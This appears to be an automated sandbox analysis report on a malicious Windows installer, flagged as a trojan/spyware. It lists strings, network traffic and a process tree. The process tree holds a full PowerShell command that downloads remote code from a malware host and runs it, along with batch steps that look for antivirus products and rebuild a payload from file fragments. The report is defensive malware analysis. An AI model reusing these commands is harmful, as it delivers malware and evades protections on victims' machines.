Source: powershell.exe, 00000011.00000002.2139406602.0000000005286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2143167569.0000000007838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.2139406602.0000000005935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org/
Source: M6BJM5KUQF518S8VT.exe, 00000013.00000000.2197290790.00000000009E1000.00000020.00000001.01000000.0000000A.sdmp, M6BJM5KUQF518S8VT.exe.12.dr	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org0
Source: powershell.exe, 00000011.00000002.2142050389.0000000006198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: Likewise.com, 0000000C.00000003.2038211162.0000000003981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Likewise.com, 0000000C.00000003.2038265788.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2054156923.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038211162.0000000003981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Likewise.com, 0000000C.00000003.2038265788.00000000010BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Likewise.com, 0000000C.00000003.2038265788.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038211162.0000000003981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Likewise.com, 0000000C.00000003.2038265788.00000000010BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Likewise.com, 0000000C.00000003.2015371663.000000000327F000.00000004.00000800.00020000.00000000.sdmp, Separated.8.dr, Likewise.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2221050845.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000003.2214380146.0000000003F50000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000003.2730763458.00000000029D0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2038355405.0000000003875000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Likewise.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Likewise.com, 0000000C.00000003.2038038903.0000000003873000.00000004.00000800.00020000.00000000.sdmp, Likewise.com, 0000000C.00000003.2037967363.000000000397C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: M6BJM5KUQF518S8VT.exe, 00000013.00000003.2208743854.000000007F3AB000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.exe, 00000013.00000003.2205467379.0000000002ECF000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000000.2211494142.00000000005E1000.00000020.00000001.01000000.0000000B.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000000.2230536348.00000000003CD000.00000020.00000001.01000000.0000000D.sdmp, M6BJM5KUQF518S8VT.tmp.19.dr, M6BJM5KUQF518S8VT.tmp.21.dr	String found in binary or memory: https://www.innosetup.com/
Source: Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Likewise.com, 0000000C.00000003.2067147445.000000000552C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: M6BJM5KUQF518S8VT.exe, 00000013.00000003.2208743854.000000007F3AB000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.exe, 00000013.00000003.2205467379.0000000002ECF000.00000004.00001000.00020000.00000000.sdmp, M6BJM5KUQF518S8VT.tmp, 00000014.00000000.2211494142.00000000005E1000.00000020.00000001.01000000.0000000B.sdmp, M6BJM5KUQF518S8VT.tmp, 00000016.00000000.2230536348.00000000003CD000.00000020.00000001.01000000.0000000D.sdmp, M6BJM5KUQF518S8VT.tmp.19.dr, M6BJM5KUQF518S8VT.tmp.21.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

System Summary

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Window found: window name: AutoHotkey

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	File created: C:\Windows\EmeraldAble			Jump to behavior
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	File created: C:\Windows\StartPoor			Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Code function: 0_2_004074BB	0_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: String function: 004062A3 appears 57 times

Source: installer_1.05_36.8.exe

Static PE information: invalid certificate

Source: M6BJM5KUQF518S8VT.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: M6BJM5KUQF518S8VT.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: M6BJM5KUQF518S8VT.tmp.21.dr	Static PE information: Number of sections : 11 > 10
Source: M6BJM5KUQF518S8VT.exe.12.dr	Static PE information: Number of sections : 11 > 10
Source: M6BJM5KUQF518S8VT.tmp.19.dr	Static PE information: Number of sections : 11 > 10

Source: installer_1.05_36.8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/38@5/3

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

0_2_004044A5

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Coordinate

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3512:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

File created: C:\Users\user\AppData\Local\Temp\nsa10D2.tmp

Jump to behavior

Source: installer_1.05_36.8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: Likewise.com, 0000000C.00000003.2038355405.0000000003860000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: installer_1.05_36.8.exe

Virustotal: Detection: 12%

Source: C:\Users\user\Desktop\installer_1.05_36.8.exe

File read: C:\Users\user\Desktop\installer_1.05_36.8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\installer_1.05_36.8.exe "C:\Users\user\Desktop\installer_1.05_36.8.exe"
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Symphony Symphony.cmd & Symphony.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 180180
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gilbert
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "uploaded" Smell
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 180180\Likewise.com + Moderators + Ship + Develops + Briefs + Cache + Web + Dependent + Crimes + Responsibility + Brandon + Separated 180180\Likewise.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Senegal + ..\Contract + ..\Chrome + ..\Renewable + ..\Vancouver + ..\Saving + ..\Topless + ..\Coordinate d
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com Likewise.com d
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com	Process created: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe "C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe"
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Process created: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp "C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$4046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe"
Source: C:\Users\user\AppData\Local\Temp\is-FLQIK.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe "C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe	Process created: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp "C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp" /SL5="$5046A,7785838,845824,C:\Users\user\AppData\Local\Temp\M6BJM5KUQF518S8VT.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Users\user\Desktop\installer_1.05_36.8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Symphony Symphony.cmd & Symphony.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 180180	Jump to behavior
